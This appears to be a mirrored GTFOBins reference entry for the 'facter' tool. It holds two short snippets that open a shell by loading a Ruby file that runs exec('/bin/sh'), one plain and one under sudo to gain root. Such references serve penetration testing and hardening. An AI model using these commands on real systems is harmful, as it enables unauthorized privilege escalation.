mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
14 lines
259 B
Markdown
14 lines
259 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
FACTERLIB=$TF facter
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo 'exec("/bin/sh")' > $TF/x.rb
|
|
sudo FACTERLIB=$TF facter
|
|
---
|